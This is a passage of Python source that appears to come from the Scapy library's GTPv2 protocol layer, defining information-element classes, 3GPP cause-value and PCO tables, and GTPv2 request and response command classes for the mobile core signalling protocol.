IE_IMSI(gtp.IE_Base): name = "IE IMSI" fields_desc = [ByteEnumField("ietype", 1, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("IMSI", "33607080910", length_from=lambda x: x.length)] # 3GPP TS 29.274 v16.1.0 table 8.4-1 CAUSE_VALUES = { # 0: Reserved. Shall not be sent and if received the Cause shall be treated # as an invalid IE. # 1: Reserved. 2: "Local Detach", 3: "Complete Detach", 4: "RAT changed from 3GPP to Non-3GPP", 5: "ISR deactivation", 6: "Error Indication received from RNC/eNodeB/S4-SGSN/MME", 7: "IMSI Detach Only", 8: "Reactivation Requested", 9: "PDN reconnection to this APN disallowed", 10: "Access changed from Non-3GPP to 3GPP", 11: "PDN connection inactivity timer expires", 12: "PGW not responding", 13: "Network Failure", 14: "QoS parameter mismatch", 15: "EPS to 5GS Mobility", 16: "Request accepted", 17: "Request accepted partially", 18: "New PDN type due to network preference", 19: "New PDN type due to single address bearer only", # 20-63: Spare. This value range shall be used by Cause values in an # acceptance response/triggered message. 64: "Context Not Found", 65: "Invalid Message Format", 66: "Version not supported by next peer", 67: "Invalid length", 68: "Service not supported", 69: "Mandatory IE incorrect", 70: "Mandatory IE missing", # 71: Shall not be used. See NOTE 2 and NOTE 3. 72: "System failure", 73: "No resources available", 74: "Semantic error in the TFT operation", 75: "Syntactic error in the TFT operation", 76: "Semantic errors in packet filter(s)", 77: "Syntactic errors in packet filter(s)", 78: "Missing or unknown APN", # 79: Shall not be used. See NOTE 2 and NOTE 3. 80: "GRE key not found", 81: "Relocation failure", 82: "Denied in RAT", 83: "Preferred PDN type not supported", 84: "All dynamic addresses are occupied", 85: "UE context without TFT already activated", 86: "Protocol type not supported", 87: "UE not responding", 88: "UE refuses", 89: "Service denied", 90: "Unable to page UE", 91: "No memory available", 92: "User authentication failed", 93: "APN access denied - no subscription", 94: "Request rejected (reason not specified)", 95: "P-TMSI Signature mismatch", 96: "IMSI/IMEI not known", 97: "Semantic error in the TAD operation", 98: "Syntactic error in the TAD operation", # 99: Shall not be used. See NOTE 2 and NOTE 3. 100: "Remote peer not responding", 101: "Collision with network initiated request", 102: "Unable to page UE due to Suspension", 103: "Conditional IE missing", 104: "APN Restriction type Incompatible with currently active PDN " "connection", 105: "Invalid overall length of the triggered response message and a " "piggybacked initial message", 106: "Data forwarding not supported", 107: "Invalid reply from remote peer", 108: "Fallback to GTPv1", 109: "Invalid peer", 110: "Temporarily rejected due to handover/TAU/RAU procedure in progress", 111: "Modifications not limited to S1-U bearers", 112: "Request rejected for a PMIPv6 reason", 113: "APN Congestion", 114: "Bearer handling not supported", 115: "UE already re-attached", 116: "Multiple PDN connections for a given APN not allowed", 117: "Target access restricted for the subscriber", # 118: Shall not be used. See NOTE 2 and NOTE 3. 119: "MME/SGSN refuses due to VPLMN Policy", 120: "GTP-C Entity Congestion", 121: "Late Overlapping Request", 122: "Timed out Request", 123: "UE is temporarily not reachable due to power saving", 124: "Relocation failure due to NAS message redirection", 125: "UE not authorised by OCS or external AAA Server", 126: "Multiple accesses to a PDN connection not allowed", 127: "Request rejected due to UE capability", 128: "S1-U Path Failure", 129: "5GC not allowed", # 130-239: Spare. For future use in a triggered/response message. # See NOTE 4. # 240-255: Spare. For future use in an initial/request message. See NOTE 5. } class IE_Cause(gtp.IE_Base): name = "IE Cause" fields_desc = [ByteEnumField("ietype", 2, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteEnumField("Cause", 1, CAUSE_VALUES), BitField("SPARE", 0, 5), BitField("PCE", 0, 1), BitField("BCE", 0, 1), BitField("CS", 0, 1)] class IE_RecoveryRestart(gtp.IE_Base): name = "IE Recovery Restart" fields_desc = [ByteEnumField("ietype", 3, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("restart_counter", 0)] class IE_APN(gtp.IE_Base): name = "IE APN" fields_desc = [ByteEnumField("ietype", 71, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.APNStrLenField("APN", "internet", length_from=lambda x: x.length)] class IE_BearerTFT(gtp.IE_Base): name = "IE Bearer TFT" fields_desc = [ByteEnumField("ietype", 84, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), StrLenField("Bearer_TFT", "", length_from=lambda x: x.length)] class IE_AMBR(gtp.IE_Base): name = "IE AMBR" fields_desc = [ByteEnumField("ietype", 72, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("AMBR_Uplink", 0), IntField("AMBR_Downlink", 0)] class IE_MSISDN(gtp.IE_Base): name = "IE MSISDN" fields_desc = [ByteEnumField("ietype", 76, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), gtp.TBCDByteField("digits", "33123456789", length_from=lambda x: x.length)] class IE_Indication(gtp.IE_Base): name = "IE Indication" fields_desc = [ByteEnumField("ietype", 77, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ConditionalField( BitField("DAF", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("DTF", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("HI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("DFI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("OI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("ISRSI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("ISRAI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("SGWCI", 0, 1), lambda pkt: pkt.length > 0), ConditionalField( BitField("SQCI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("UIMSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("CFSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("CRSI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("PS", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("PT", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("SI", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("MSV", 0, 1), lambda pkt: pkt.length > 1), ConditionalField( BitField("RetLoc", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("PBIC", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("SRNI", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("S6AF", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("S4AF", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("MBMDT", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("ISRAU", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("CCRSI", 0, 1), lambda pkt: pkt.length > 2), ConditionalField( BitField("CPRAI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("ARRL", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPOFF", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPON", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("PPSI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CSFBI", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CLII", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("CPSR", 0, 1), lambda pkt: pkt.length > 3), ConditionalField( BitField("NSI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("UASI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("DTCI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("BDWI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("PSCI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("PCRI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("AOSI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("AOPI", 0, 1), lambda pkt: pkt.length > 4), ConditionalField( BitField("ROAAI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("EPCOSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("CPOPCI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("PMTSMI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("S11TF", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("PNSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("UNACCSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("WPMSI", 0, 1), lambda pkt: pkt.length > 5), ConditionalField( BitField("5GSNN26", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("REPREFI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("5GSIWKI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("EEVRSI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("LTEMUI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("LTEMPI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("ENBCRSI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("TSPCMI", 0, 1), lambda pkt: pkt.length > 6), ConditionalField( BitField("Spare", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("Spare", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("Spare", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("N5GNMI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("5GCNRS", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("5GCNRI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("5SRHOI", 0, 1), lambda pkt: pkt.length > 7), ConditionalField( BitField("ETHPDN", 0, 1), lambda pkt: pkt.length > 7), ] PDN_TYPES = { 1: "IPv4", 2: "IPv6", 3: "IPv4/IPv6", } PCO_OPTION_TYPES = { 3: "IPv4", 129: "Primary DNS Server IP address", 130: "Primary NBNS Server IP address", 131: "Secondary DNS Server IP address", 132: "Secondary NBNS Server IP address", } class PCO_Option(Packet): def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.length is None: p = p[:1] + struct.pack("!B", len(p) - 2) + p[2:] return p + pay class PCO_Protocol(Packet): # 10.5.6.3 of 3GPP TS 24.008 def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.length is None: p = p[:2] + struct.pack("!B", len(p) - 3) + p[3:] return p + pay class PCO_IPv4(PCO_Option): name = "IPv4" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Primary_DNS(PCO_Option): name = "Primary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Primary_NBNS(PCO_Option): name = "Primary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Secondary_DNS(PCO_Option): name = "Secondary DNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] class PCO_Secondary_NBNS(PCO_Option): name = "Secondary NBNS Server IP Address" fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), ByteField("length", None), IPField("address", RandIP())] PCO_PROTOCOL_TYPES = { 0x0001: 'P-CSCF IPv6 Address Request', 0x0002: 'IM CN Subsystem Signaling Flag', 0x0003: 'DNS Server IPv6 Address Request', 0x0005: 'MS Support of Network Requested Bearer Control indicator', 0x000a: 'IP Allocation via NAS', 0x000d: 'DNS Server IPv4 Address Request', 0x000c: 'P-CSCF IPv4 Address Request', 0x0010: 'IPv4 Link MTU Request', 0x0012: 'P-CSCF Re-selection Support', 0x001a: 'PDU session ID', 0x0022: '5GSM Cause Value', 0x0023: 'QoS Rules With Support Indicator', 0x0024: 'QoS Flow Descriptions With Support Indicator', 0x001b: 'S-NSSAI', 0x001c: 'QoS Rules', 0x001d: 'Session-AMBR', 0x001f: 'QoS Flow Descriptions', 0x8021: 'IPCP', 0xc023: 'Password Authentication Protocol', 0xc223: 'Challenge Handshake Authentication Protocol', } PCO_OPTION_CLASSES = { 3: PCO_IPv4, 129: PCO_Primary_DNS, 130: PCO_Primary_NBNS, 131: PCO_Secondary_DNS, 132: PCO_Secondary_NBNS, } def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s) def len_options(pkt): return pkt.length - 4 if pkt.length else 0 class PCO_P_CSCF_IPv6_Address_Request(PCO_Protocol): name = "PCO PCO-P CSCF IPv6 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(XBitField("address", "2001:db8:0:42::", 128), lambda pkt: pkt.length)] class PCO_IM_CN_Subsystem_Signaling_Flag(PCO_Protocol): name = "PCO IM CN Subsystem Signaling Flag" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_DNS_Server_IPv6(PCO_Protocol): name = "PCO DNS Server IPv6 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(XBitField("address", "2001:db8:0:42::", 128), lambda pkt: pkt.length)] class PCO_SOF(PCO_Protocol): name = "PCO MS Support of Network Requested Bearer Control indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ] class PCO_PPP(PCO_Protocol): name = "PPP IP Control Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] def extract_padding(self, pkt): return "", pkt class PCO_IP_Allocation_via_NAS(PCO_Protocol): name = "PCO IP Address allocation via NAS Signaling" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_P_CSCF_IPv4_Address_Request(PCO_Protocol): name = "PCO PCO-P CSCF IPv4 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length)] class PCO_DNS_Server_IPv4(PCO_Protocol): name = "PCO DNS Server IPv4 Address Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(IPField("address", RandIP()), lambda pkt: pkt.length)] class PCO_IPv4_Link_MTU_Request(PCO_Protocol): name = "PCO IPv4 Link MTU Request" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField(ShortField("MTU_size", 1500), lambda pkt: pkt.length)] class PCO_P_CSCF_Re_selection_Support(PCO_Protocol): name = "PCO P-CSCF Re-selection Support" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_PDU_Session_Id(PCO_Protocol): name = "PCO PDU session ID" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 1), ByteField("PduSessionId", 1)] class PCO_5GSM_Cause_Value(PCO_Protocol): name = "PCO 5GSM Cause Value" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=len_options)] class PCO_QoS_Rules_With_Support_Indicator(PCO_Protocol): name = "PCO QoS Rules With Support Indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_QoS_Flow_Descriptions_With_Support_Indicator(PCO_Protocol): name = "PCO QoS Flow Descriptions With Support Indicator" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_S_Nssai(PCO_Protocol): name = "PCO S-NSSAI" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), ConditionalField( ByteField("SST", 0), lambda pkt: pkt.length > 0), ConditionalField( ShortField("SD", 0), lambda pkt: pkt.length > 1), ConditionalField( ByteField("Hplmn_Sst", 0), lambda pkt: pkt.length >= 4), ConditionalField( ShortField("Hplmn_Sd", 0), lambda pkt: pkt.length > 4)] class PCO_Qos_Rules(PCO_Protocol): name = "PCO QoS Rules" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_Session_AMBR(PCO_Protocol): name = "PCO Session AMBR" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", 6), ByteField("dlunit", 0), ShortField("dlambr", 0), ByteField("ulunit", 0), ShortField("ulambr", 0)] class PCO_QoS_Flow_Descriptions(PCO_Protocol): name = "PCO QoS Flow Descriptions" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketListField("Options", None, PCO_option_dispatcher, length_from=lambda pkt: pkt.length)] class PCO_IPCP(PCO_Protocol): name = "PCO Internet Protocol Control Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP)] class PCO_PPP_Auth(PCO_Protocol): name = "PPP Password Authentication Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), ByteField("PeerID_length", 0), ConditionalField(StrFixedLenField( "PeerID", "", length_from=lambda pkt: pkt.PeerID_length), lambda pkt: pkt.PeerID_length), ByteField("Password_length", 0), ConditionalField( StrFixedLenField( "Password", "", length_from=lambda pkt: pkt.Password_length), lambda pkt: pkt.Password_length)] class PCO_PasswordAuthentificationProtocol(PCO_Protocol): name = "PCO Password Authentication Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP_Auth)] class PCO_PPP_Challenge(PCO_Protocol): name = "PPP Password Authentication Protocol" fields_desc = [ByteField("Code", 0), ByteField("Identifier", 0), ShortField("length", None), ByteField("value_size", 0), ConditionalField(StrFixedLenField( "value", "", length_from=lambda pkt: pkt.value_size), lambda pkt: pkt.value_size), ConditionalField(StrFixedLenField( "name", "", length_from=lambda pkt: pkt.length - pkt.value_size - 5), # noqa: E501 lambda pkt: pkt.length)] class PCO_ChallengeHandshakeAuthenticationProtocol(PCO_Protocol): name = "PCO Password Authentication Protocol" fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), ByteField("length", None), PacketField("PPP", None, PCO_PPP_Challenge)] PCO_PROTOCOL_CLASSES = { 0x0001: PCO_P_CSCF_IPv6_Address_Request, 0x0002: PCO_IM_CN_Subsystem_Signaling_Flag, 0x0003: PCO_DNS_Server_IPv6, 0x0005: PCO_SOF, 0x000a: PCO_IP_Allocation_via_NAS, 0x000c: PCO_P_CSCF_IPv4_Address_Request, 0x000d: PCO_DNS_Server_IPv4, 0x0010: PCO_IPv4_Link_MTU_Request, 0x0012: PCO_P_CSCF_Re_selection_Support, 0x001a: PCO_PDU_Session_Id, 0x0022: PCO_5GSM_Cause_Value, 0x0023: PCO_QoS_Rules_With_Support_Indicator, 0x0024: PCO_QoS_Flow_Descriptions_With_Support_Indicator, 0x001b: PCO_S_Nssai, 0x001c: PCO_Qos_Rules, 0x001d: PCO_Session_AMBR, 0x001f: PCO_QoS_Flow_Descriptions, 0x8021: PCO_IPCP, 0xc023: PCO_PasswordAuthentificationProtocol, 0xc223: PCO_ChallengeHandshakeAuthenticationProtocol, } def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s) class IE_PCO(gtp.IE_Base): name = "IE Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 78, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_EPCO(gtp.IE_Base): name = "IE Extended Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 197, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("Extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_APCO(gtp.IE_Base): name = "IE Additional Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 163, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("extension", 0, 1), BitField("SPARE", 0, 4), BitField("PPP", 0, 3), PacketListField("Protocols", None, PCO_protocol_dispatcher, length_from=lambda pkt: pkt.length - 1)] class IE_PAA(gtp.IE_Base): name = "IE PAA" fields_desc = [ByteEnumField("ietype", 79, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 5), BitEnumField("PDN_type", None, 3, PDN_TYPES), ConditionalField( ByteField("ipv6_prefix_length", 8), lambda pkt: pkt.PDN_type in (2, 3)), ConditionalField( XBitField("ipv6", "2001:db8:0:42::", 128), lambda pkt: pkt.PDN_type in (2, 3)), ConditionalField( IPField("ipv4", 0), lambda pkt: pkt.PDN_type in (1, 3)), ] class IE_Bearer_QoS(gtp.IE_Base): name = "IE Bearer Quality of Service" fields_desc = [ByteEnumField("ietype", 80, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 1), BitField("PCI", 0, 1), BitField("PriorityLevel", 0, 4), BitField("SPARE", 0, 1), BitField("PVI", 0, 1), ByteField("QCI", 0), BitField("MaxBitRateForUplink", 0, 40), BitField("MaxBitRateForDownlink", 0, 40), BitField("GuaranteedBitRateForUplink", 0, 40), BitField("GuaranteedBitRateForDownlink", 0, 40)] class IE_ChargingID(gtp.IE_Base): name = "IE Charging ID" fields_desc = [ByteEnumField("ietype", 94, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("ChargingID", 0)] class IE_ChargingCharacteristics(gtp.IE_Base): name = "IE Charging Characteristics" fields_desc = [ByteEnumField("ietype", 95, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), XShortField("ChargingCharacteristric", 0)] class IE_PDN_type(gtp.IE_Base): name = "IE PDN Type" fields_desc = [ByteEnumField("ietype", 99, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 5), BitEnumField("PDN_type", None, 3, PDN_TYPES)] class IE_UE_Timezone(gtp.IE_Base): name = "IE UE Time zone" fields_desc = [ByteEnumField("ietype", 114, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("Timezone", 0), ByteField("DST", 0)] class IE_Port_Number(gtp.IE_Base): name = "IE Port Number" fields_desc = [ByteEnumField("ietype", 126, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ShortField("PortNumber", RandShort())] class IE_APN_Restriction(gtp.IE_Base): name = "IE APN Restriction" fields_desc = [ByteEnumField("ietype", 127, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), ByteField("APN_Restriction", 0)] class IE_SelectionMode(gtp.IE_Base): name = "IE Selection Mode" fields_desc = [ByteEnumField("ietype", 128, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 6), BitField("SelectionMode", 0, 2)] class IE_MMBR(gtp.IE_Base): name = "IE Max MBR/APN-AMBR (MMBR)" fields_desc = [ByteEnumField("ietype", 161, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), IntField("uplink_rate", 0), IntField("downlink_rate", 0)] class IE_UPF_SelInd_Flags(gtp.IE_Base): name = "IE UP Function Selection Indication Flags" fields_desc = [ByteEnumField("ietype", 202, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("SPARE", 0, 7), BitField("DCNR", 0, 1)] class IE_FQCSID(gtp.IE_Base): name = "IE FQ-CSID" fields_desc = [ByteEnumField("ietype", 132, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("nodeid_type", 0, 4), BitField("num_csid", 0, 4), ConditionalField( IPField("nodeid_v4", 0), lambda pkt: pkt.nodeid_type == 0), ConditionalField( XBitField("nodeid_v6", "2001:db8:0:42::", 128), lambda pkt: pkt.nodeid_type == 1), ConditionalField( BitField("nodeid_nonip", 0, 32), lambda pkt: pkt.nodeid_type == 2), ShortField("csid", 0)] class IE_Ran_Nas_Cause(gtp.IE_Base): name = "IE RAN/NAS Cause" fields_desc = [ByteEnumField("ietype", 172, IEType), ShortField("length", None), BitField("CR_flag", 0, 4), BitField("instance", 0, 4), BitField("protocol_type", 0, 4), BitField("cause_type", 0, 4), ByteField("cause_value", 0)] # 3GPP TS 29.274 v16.1.0 section 8.67. class IE_PrivateExtension(gtp.IE_Base): name = "Private Extension" fields_desc = [ ByteEnumField("ietype", 255, IEType), ShortField("length", None), BitField("SPARE", 0, 4), BitField("instance", 0, 4), ShortEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), StrLenField("proprietaryvalue", "", length_from=lambda x: x.length - 2)] ietypecls = {1: IE_IMSI, 2: IE_Cause, 3: IE_RecoveryRestart, 71: IE_APN, 72: IE_AMBR, 73: IE_EPSBearerID, 74: IE_IP_Address, 75: IE_MEI, 76: IE_MSISDN, 77: IE_Indication, 78: IE_PCO, 79: IE_PAA, 80: IE_Bearer_QoS, 82: IE_RAT, 83: IE_ServingNetwork, 84: IE_BearerTFT, 86: IE_ULI, 87: IE_FTEID, 93: IE_BearerContext, 94: IE_ChargingID, 95: IE_ChargingCharacteristics, 97: IE_BearerFlags, 99: IE_PDN_type, 107: IE_MMContext_EPS, 109: IE_PDNConnection, 114: IE_UE_Timezone, 126: IE_Port_Number, 127: IE_APN_Restriction, 128: IE_SelectionMode, 132: IE_FQCSID, 136: IE_FQDN, 145: IE_UCI, 161: IE_MMBR, 163: IE_APCO, 170: IE_ULI_Timestamp, 172: IE_Ran_Nas_Cause, 197: IE_EPCO, 202: IE_UPF_SelInd_Flags, 255: IE_PrivateExtension} # # GTPv2 Commands # 3GPP TS 29.060 V9.1.0 (2009-12) # class GTPV2Command(Packet): fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] class GTPV2EchoRequest(GTPV2Command): name = "GTPv2 Echo Request" class GTPV2EchoResponse(GTPV2Command): name = "GTPv2 Echo Response" def answers(self, other): return isinstance(other, GTPV2EchoRequest) class GTPV2CreateSessionRequest(GTPV2Command): name = "GTPv2 Create Session Request" class GTPV2CreateSessionResponse(GTPV2Command): name = "GTPv2 Create Session Response" def answers(self, other): return isinstance(other, GTPV2CreateSessionRequest) class GTPV2DeleteSessionRequest(GTPV2Command): name = "GTPv2 Delete Session Request" class GTPV2DeleteSessionResponse(GTPV2Command): name = "GTPv2 Delete Session Request" def answers(self, other): return isinstance(other, GTPV2DeleteSessionRequest) class GTPV2ModifyBearerCommand(GTPV2Command): name = "GTPv2 Modify Bearer Command" class GTPV2ModifyBearerFailureIndication(GTPV2Command): name = "GTPv2 Modify Bearer Failure Indication" class GTPV2DeleteBearerCommand(GTPV2Command): name = "GTPv2 Delete Bearer Command" class GTPV2DeleteBearerFailureIndication(GTPV2Command): name = "GTPv2 Delete Bearer Failure Indication" class GTPV2BearerResourceCommand(GTPV2Command): name = "GTPv2 Bearer Resource Command" class GTPV2BearerResourceFailureIndication(GTPV2Command): name = "GTPv2 Bearer Resource Failure Indication" class GTPV2DownlinkDataNotifFailureIndication(GTPV2Command): name = "GTPv2 Downlink Data Notification Failure Indication" class GTPV2ModifyBearerRequest(GTPV2Command): name = "GTPv2 Modify Bearer Request" class GTPV2ModifyBearerResponse(GTPV2Command): name = "GTPv2 Modify Bearer Response" def answers(self, other): return isinstance(other, GTPV2ModifyBearerRequest) class GTPV2CreateBearerRequest(GTPV2Command): name = "GTPv2 Create Bearer Request" class GTPV2CreateBearerResponse(GTPV2Command): name = "GTPv2 Create Bearer Response" def answers(self, other): return isinstance(other, GTPV2CreateBearerRequest) class GTPV2UpdateBearerRequest(GTPV2Command): name = "GTPv2 Update Bearer Request" class GTPV2UpdateBearerResponse(GTPV2Command): name = "GTPv2 Update Bearer Response" def answers(self, other): return isinstance(other, GTPV2UpdateBearerRequest) class GTPV2DeleteBearerRequest(GTPV2Command): name = "GTPv2 Delete Bearer Request" class GTPV2SuspendNotification(GTPV2Command): name = "GTPv2 Suspend Notification" class GTPV2SuspendAcknowledge(GTPV2Command): name = "GTPv2 Suspend Acknowledge" class GTPV2ResumeNotification(GTPV2Command): name = "GTPv2 Resume Notification" class GTPV2ResumeAcknowledge(GTPV2Command): name = "GTPv2 Resume Acknowledge" class GTPV2DeleteBearerResponse(GTPV2Command): name = "GTPv2 Delete Bearer Response" class GTPV2ContextRequest(GTPV2Command): name = "GTPv2 Context Request" class 